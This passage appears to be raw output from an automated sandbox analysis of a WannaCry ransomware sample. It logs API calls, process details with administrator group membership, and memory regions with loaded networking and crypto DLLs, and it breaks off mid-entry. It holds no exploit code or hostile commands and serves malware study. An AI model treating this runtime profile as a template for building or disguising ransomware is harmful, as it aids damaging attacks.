CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5JgHKoaOfdp\\Desktop", lpStartupInfo=0xd72f04f2c0*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xd72f04f250 | out: lpCommandLine="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpProcessInformation=0xd72f04f250*(hProcess=0x194, hThread=0x1dc, dwProcessId=0x338, dwThreadId=0x37c)) returned 1 [0052.312] CloseHandle (hObject=0x1dc) returned 1 [0052.312] CloseHandle (hObject=0x194) returned 1 [0052.312] PeekMessageW (in: lpMsg=0xd72f04f380, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f380) returned 1 [0052.312] TranslateAcceleratorW (hWnd=0xc018a, hAccTable=0x2a01c7, lpMsg=0xd72f04f380) returned 0 [0052.312] IsDialogMessageW (hDlg=0xc018a, lpMsg=0xd72f04f380) returned 1 [0052.313] PeekMessageW (in: lpMsg=0xd72f04f380, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f380) returned 0 [0052.313] PeekMessageW (in: lpMsg=0xd72f04f380, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f380) returned 0 [0052.313] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0052.313] LockWindowUpdate (hWndLock=0x0) returned 0 [0052.313] DestroyWindow (hWnd=0xb002c) returned 1 [0052.313] NtdllDefWindowProc_W (hWnd=0xb002c, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0052.313] KillTimer (hWnd=0xb002c, uIDEvent=0x1) returned 1 [0052.313] Shell_NotifyIconW (dwMessage=0x2, lpData=0xd72f04f070) returned 1 [0052.324] DestroyWindow (hWnd=0xc018a) returned 1 [0052.324] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0052.324] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0052.324] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0052.324] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x46, wParam=0x0, lParam=0xd72f04f3e0) returned 0x0 [0052.338] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0052.338] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x47, wParam=0x0, lParam=0xd72f04f3e0) returned 0x0 [0052.338] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0052.338] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0052.339] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0052.339] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0052.339] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x6, wParam=0x0, lParam=0x0) returned 0x0 [0052.339] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0052.339] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x1c, wParam=0x0, lParam=0x7c0) returned 0x0 [0052.339] NtdllDefWindowProc_W (hWnd=0xb002c, Msg=0x1c, wParam=0x0, lParam=0x7c0) returned 0x0 [0052.339] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0052.339] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0052.339] InvalidateRect (hWnd=0xc018a, lpRect=0x0, bErase=1) returned 1 [0052.339] DestroyAcceleratorTable (hAccel=0x2a01c7) returned 1 [0052.339] DeleteObject (ho=0xffffffff8d0a06e8) returned 1 [0052.339] DestroyWindow (hWnd=0xc01e6) returned 1 [0052.339] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0052.339] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x210, wParam=0x30002, lParam=0xc01e6) returned 0x0 [0052.340] DestroyWindow (hWnd=0x9011c) returned 1 [0052.340] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0052.340] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x210, wParam=0x40002, lParam=0x9011c) returned 0x0 [0052.340] DeleteObject (ho=0x90a070e) returned 1 [0052.340] DestroyWindow (hWnd=0xf0020) returned 1 [0052.340] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0052.340] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x210, wParam=0x50002, lParam=0xf0020) returned 0x0 [0052.347] DeleteObject (ho=0x700a06dc) returned 1 [0052.347] DestroyWindow (hWnd=0x10001e) returned 1 [0052.347] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0052.347] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x210, wParam=0x60002, lParam=0x10001e) returned 0x0 [0052.348] DeleteObject (ho=0x560a0828) returned 1 [0052.348] DestroyWindow (hWnd=0xc018c) returned 1 [0052.348] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0052.348] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x210, wParam=0x70002, lParam=0xc018c) returned 0x0 [0052.348] DeleteObject (ho=0x320a05c3) returned 1 [0052.348] DestroyWindow (hWnd=0xc01e4) returned 1 [0052.348] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0052.348] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x210, wParam=0x80002, lParam=0xc01e4) returned 0x0 [0052.349] KillTimer (hWnd=0x0, uIDEvent=0x7f4d) returned 1 [0052.349] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0052.351] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0052.351] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0052.351] DeleteObject (ho=0xffffffff9a1005bc) returned 1 [0052.351] DeleteObject (ho=0xffffffff8a1007bf) returned 1 [0052.351] DeleteObject (ho=0x701005c5) returned 1 [0052.351] PostQuitMessage (nExitCode=0) [0052.352] GetMessageW (in: lpMsg=0xd72f04f7f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xd72f04f7f8) returned 0 [0052.364] SetCurrentDirectoryW (lpPathName="C:\\Users\\5JgHKoaOfdp\\Desktop" (normalized: "c:\\users\\5jghkoaofdp\\desktop")) returned 1 [0052.364] SystemParametersInfoW (in: uiAction=0x2001, uiParam=0x0, pvParam=0x30d40, fWinIni=0x2 | out: pvParam=0x30d40) returned 1 [0052.367] mciSendStringW (in: lpstrCommand="close all", lpstrReturnString=0x0, uReturnLength=0x0, hwndCallback=0x0 | out: lpstrReturnString=0x0) returned 0x0 [0052.368] OleUninitialize () [0052.369] DestroyCursor (hCursor=0x2201df) returned 0 [0052.370] ExitProcess (uExitCode=0x0) Process: id = "29" image_name = "wanacr~1.exe" filename = "c:\\users\\5jghko~1\\desktop\\wanacr~1.exe" page_root = "0x9873000" os_pid = "0x338" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "28" os_parent_pid = "0x968" cmd_line = "C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" cur_dir = "C:\\Users\\5JgHKoaOfdp\\Desktop\\" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c455" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2447 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2448 start_va = 0x32af250000 end_va = 0x32af26ffff entry_point = 0x0 region_type = private name = "private_0x00000032af250000" filename = "" Region: id = 2449 start_va = 0x32af270000 end_va = 0x32af27efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000032af270000" filename = "" Region: id = 2450 start_va = 0x32af280000 end_va = 0x32af67ffff entry_point = 0x0 region_type = private name = "private_0x00000032af280000" filename = "" Region: id = 2451 start_va = 0x32af680000 end_va = 0x32af683fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000032af680000" filename = "" Region: id = 2452 start_va = 0x32af690000 end_va = 0x32af691fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000032af690000" filename = "" Region: id = 2453 start_va = 0x32af6a0000 end_va = 0x32af6a1fff entry_point = 0x0 region_type = private name = "private_0x00000032af6a0000" filename = "" Region: id = 2454 start_va = 0x7ff756970000 end_va = 0x7ff756992fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff756970000" filename = "" Region: id = 2455 start_va = 0x7ff75699b000 end_va = 0x7ff75699bfff entry_point = 0x0 region_type = private name = "private_0x00007ff75699b000" filename = "" Region: id = 2456 start_va = 0x7ff75699e000 end_va = 0x7ff75699ffff entry_point = 0x0 region_type = private name = "private_0x00007ff75699e000" filename = "" Region: id = 2457 start_va = 0x7ff756b50000 end_va = 0x7ff756c58fff entry_point = 0x7ff756b7fa1c region_type = mapped_file name = "wanacry6.malware.exe" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\wanacry6.malware.exe") Region: id = 2458 start_va = 0x7ffe2cb20000 end_va = 0x7ffe2ccc8fff entry_point = 0x7ffe2cb20000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2460 start_va = 0x32af6c0000 end_va = 0x32afabffff entry_point = 0x0 region_type = private name = "private_0x00000032af6c0000" filename = "" Region: id = 2461 start_va = 0x7ffe2a070000 end_va = 0x7ffe2a17dfff entry_point = 0x7ffe2a0722a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2462 start_va = 0x7ffe2a640000 end_va = 0x7ffe2a778fff entry_point = 0x7ffe2a645034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2463 start_va = 0x32af250000 end_va = 0x32af25ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000032af250000" filename = "" Region: id = 2464 start_va = 0x32af260000 end_va = 0x32af266fff entry_point = 0x0 region_type = private name = "private_0x00000032af260000" filename = "" Region: id = 2465 start_va = 0x32af6b0000 end_va = 0x32af6b6fff entry_point = 0x0 region_type = private name = "private_0x00000032af6b0000" filename = "" Region: id = 2466 start_va = 0x32afac0000 end_va = 0x32afb3dfff entry_point = 0x32afac0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2467 start_va = 0x32afb40000 end_va = 0x32afb40fff entry_point = 0x0 region_type = private name = "private_0x00000032afb40000" filename = "" Region: id = 2468 start_va = 0x32afb50000 end_va = 0x32afb50fff entry_point = 0x0 region_type = private name = "private_0x00000032afb50000" filename = "" Region: id = 2469 start_va = 0x32afb60000 end_va = 0x32afb6ffff entry_point = 0x0 region_type = private name = "private_0x00000032afb60000" filename = "" Region: id = 2470 start_va = 0x32afb70000 end_va = 0x32afcf7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000032afb70000" filename = "" Region: id = 2471 start_va = 0x32afd00000 end_va = 0x32afe80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000032afd00000" filename = "" Region: id = 2472 start_va = 0x32afe90000 end_va = 0x32b128ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000032afe90000" filename = "" Region: id = 2473 start_va = 0x7ff756870000 end_va = 0x7ff75696ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff756870000" filename = "" Region: id = 2474 start_va = 0x7ffe21e80000 end_va = 0x7ffe21e89fff entry_point = 0x7ffe21e810c0 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2475 start_va = 0x7ffe22ac0000 end_va = 0x7ffe22ae9fff entry_point = 0x7ffe22aca768 region_type = mapped_file name = "winmmbase.dll" filename = "\\Windows\\System32\\winmmbase.dll" (normalized: "c:\\windows\\system32\\winmmbase.dll") Region: id = 2476 start_va = 0x7ffe22af0000 end_va = 0x7ffe22b0efff entry_point = 0x7ffe22af23f8 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll") Region: id = 2477 start_va = 0x7ffe24b90000 end_va = 0x7ffe24baafff entry_point = 0x7ffe24b91050 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 2478 start_va = 0x7ffe24bb0000 end_va = 0x7ffe24e57fff entry_point = 0x7ffe24bbddc4 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 2479 start_va = 0x7ffe24e60000 end_va = 0x7ffe2509ffff entry_point = 0x7ffe24e613f0 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 2480 start_va = 0x7ffe25c20000 end_va = 0x7ffe25c29fff entry_point = 0x7ffe25c210c4 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 2481 start_va = 0x7ffe25c90000 end_va = 0x7ffe25c98fff entry_point = 0x7ffe25c91080 region_type = mapped_file name = "wsock32.dll" filename = "\\Windows\\System32\\wsock32.dll" (normalized: "c:\\windows\\system32\\wsock32.dll") Region: id = 2482 start_va = 0x7ffe25f10000 end_va = 0x7ffe25f38fff entry_point = 0x7ffe25f17968 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 2483 start_va = 0x7ffe280b0000 end_va = 0x7ffe28309fff entry_point = 0x7ffe280b4740 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll") Region: id = 2484 start_va = 0x7ffe28760000 end_va = 0x7ffe28800fff entry_point = 0x7ffe287610a0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 2485 start_va = 0x7ffe28ba0000 end_va = 0x7ffe28cc1fff entry_point = 0x7ffe28bab444 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2486 start_va = 0x7ffe28d20000 end_va = 0x7ffe28d45fff entry_point = 0x7ffe28d2159c region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 2487 start_va = 0x7ffe29460000 end_va = 0x7ffe2947efff entry_point = 0x7ffe294612f0 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2488 start_va = 0x7ffe29ea0000 end_va = 0x7ffe29eb3fff entry_point = 0x7ffe29ea3acc region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2489 start_va = 0x7ffe2a360000 end_va = 0x7ffe2a3a9fff entry_point = 0x7ffe2a361258 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 2490 start_va = 0x7ffe2a3b0000 end_va = 0x7ffe2a520fff entry_point = 0x7ffe2a3d5ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2491 start_va = 0x7ffe2a530000 end_va = 0x7ffe2a586fff entry_point = 0x7ffe2a532500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2492 start_va = 0x7ffe2a590000 end_va = 0x7ffe2a634fff entry_point = 0x7ffe2a591010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2493 start_va = 0x7ffe2a780000 end_va = 0x7ffe2a836fff entry_point = 0x7ffe2a781120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2494 start_va = 0x7ffe2a8b0000 end_va = 0x7ffe2a956fff entry_point = 0x7ffe2a8b282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2495 start_va = 0x7ffe2a960000 end_va = 0x7ffe2aaa4fff entry_point = 0x7ffe2a971c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2496 start_va = 0x7ffe2aab0000 end_va = 0x7ffe2bebefff entry_point = 0x7ffe2aab1100 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 2497 start_va = 0x7ffe2bf40000 end_va = 0x7ffe2c116fff entry_point = 0x7ffe2bf41f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 2498 start_va = 0x7ffe2c1d0000 end_va = 0x7ffe2c203fff entry_point = 0x7ffe2c1d1030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2499 start_va = 0x7ffe2c210000 end_va = 0x7ffe2c385fff entry_point = 0x7ffe2c2110b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2500 start_va = 0x7ffe2c390000 end_va = 0x7ffe2c4c7fff entry_point = 0x7ffe2c391010 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2501 start_va = 0x7ffe2c4d0000 end_va = 0x7ffe2c527fff entry_point = 0x7ffe2c4d109c region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2502 start_va = 0x7ffe2c710000 end_va = 0x7ffe2c7a9fff entry_point = 0x7ffe2c7111a4 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\System32\\comdlg32.dll" (normalized: "c:\\windows\\system32\\comdlg32.dll") Region: id = 2503 start_va = 0x7ffe2c7b0000 end_va = 0x7ffe2c8e5fff entry_point = 0x7ffe2c7b1150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2504 start_va = 0x7ffe2caa0000 end_va = 0x7ffe2caa6fff entry_point = 0x7ffe2caa1010 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 2505 start_va = 0x7ffe2cab0000 end_va = 0x7ffe2cab8fff entry_point = 0x7ffe2cab1400 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 2506 start_va = 0x7ffe2cac0000 end_va = 0x7ffe2cb10fff entry_point = 0x7ffe2cac12c0 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2507 start_va = 0x32b12a0000 end_va = 0x32b12a1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000032b12a0000" filename = "" Region: id = 2508 start_va = 0x32b1330000 end_va = 0x32b133ffff entry_point = 0x0 region_type = private name = "private_0x00000032b1330000" filename = "" Region: id = 2509 start_va = 0x32b1340000 end_va = 0x32b13f9fff entry_point = 0x32b136c768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2510 start_va = 0x7ffe28d70000 end_va = 0x7ffe28d79fff entry_point = 0x7ffe28d71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 2511 start_va = 0x7ffe29e80000 end_va = 0x7ffe29e89fff entry_point = 0x7ffe29e81010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2512 start_va = 0x7ffe29cb0000 end_va = 0x7ffe29d0dfff entry_point = 0x7ffe29ccf6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 2513 start_va = 0x32b1290000 end_va = 0x32b1290fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000032b1290000" filename = "" Region: id = 2514 start_va = 0x32b1340000 end_va = 0x32b142ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000032b1340000" filename = "" Region: id = 2515 start_va = 0x32b1290000 end_va = 0x32b1293fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000032b1290000" filename = "" Region: id = 2516 start_va = 0x32b12b0000 end_va = 0x32b12b6fff entry_point = 0x0 region_type = private name = "private_0x00000032b12b0000" filename = "" Region: id = 2517 start_va = 0x32b1430000 end_va = 0x32b152ffff entry_point = 0x0 region_type = private name = "private_0x00000032b1430000" filename = "" Region: id = 2518 start_va = 0x32b1530000 end_va = 0x32b1630fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000032b1530000" filename = "" Region: id = 2519 start_va = 0x32b12c0000 end_va = 0x32b12c0fff entry_point = 0x0 region_type = private name = "private_0x00000032b12c0000" filename = "" Region: id = 2520 start_va = 0x7ffe28580000 end_va = 0x7ffe285a0fff entry_point = 0x7ffe28581100 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 2521 start_va = 0x32b1530000 end_va = 0x32b1804fff entry_point = 0x32b1530000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2522 start_va = 0x32b12d0000 end_va = 0x32b12d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000032b12d0000" filename = "" Region: id = 2523 start_va = 0x32b1810000 end_va = 0x32b1c0ffff entry_point = 0x0 region_type = private name = "private_0x00000032b1810000" filename = "" Region: id = 2524 start_va = 0x7ff75699c000 end_va = 0x7ff75699dfff entry_point = 0x0 region_type = private name = "private_0x00007ff75699c000" filename = "" Region: id = 2525 start_va = 0x32b12e0000 end_va = 0x32b12e0fff entry_point = 0x0 region_type = private name = "private_0x00000032b12e0000" filename = "" Region: id = 2526 start_va = 0x32b1c10000 end_va = 0x32b2101fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000032b1c10000" filename = "" Region: id = 2527 start_va = 0x32b2110000 end_va = 0x32b2f7ffff entry_point = 0x32b2110000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 2528 start_va = 0x7ffe26550000 end_va = 0x7ffe26564fff entry_point = 0x7ffe26551040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 2529 start_va = 0x7ffe29750000 end_va = 0x7ffe2975bfff entry_point = 0x7ffe2975145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 2530 start_va = 0x7ffe29c20000 end_va = 0x7ffe29c44fff entry_point = 0x7ffe29c21074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 2531 start_va = 0x7ffe26510000 end_va = 0x7ffe26525fff entry_point = 0x7ffe26511048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 2532 start_va = 0x7ffe26550000 end_va = 0x7ffe26564fff entry_point = 0x7ffe26551040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 2533 start_va = 0x7ffe29750000 end_va = 0x7ffe2975bfff entry_point = 0x7ffe2975145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 2534 start_va = 0x7ffe29c20000 end_va = 0x7ffe29c44fff entry_point = 0x7ffe29c21074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 2535 start_va = 0x7ffe26510000 end_va = 0x7ffe26525fff entry_point = 0x7ffe26511048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 2536 start_va = 0x7ffe26550000 end_va = 0x7ffe26564fff entry_point = 0x7ffe26551040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 2537 start_va = 0x7ffe29750000 end_va = 0x7ffe2975bfff entry_point = 0x7ffe2975145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 2538 start_va = 0x7ffe29c20000 end_va = 0x7ffe29c44fff entry_point = 0x7ffe29c21074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 2539 start_va = 0x7ffe26510000 end_va = 0x7ffe26525fff entry_point = 0x7ffe26511048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 2540 start_va = 0x7ffe26550000 end_va = 0x7ffe26564fff entry_point = 0x7ffe26551040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 2541 start_va = 0x7ffe29750000 end_va = 0x7ffe2975bfff entry_point = 0x7ffe2975145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 2542 start_va = 0x7ffe29c20000 end_va = 0x7ffe29c44fff entry_point = 0x7ffe29c21074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 2543 start_va = 0x7ffe26510000 end_va = 0x7ffe26525fff entry_point = 0x7ffe26511048 region_type = mapped_file name = "wkscli.dll" filename = 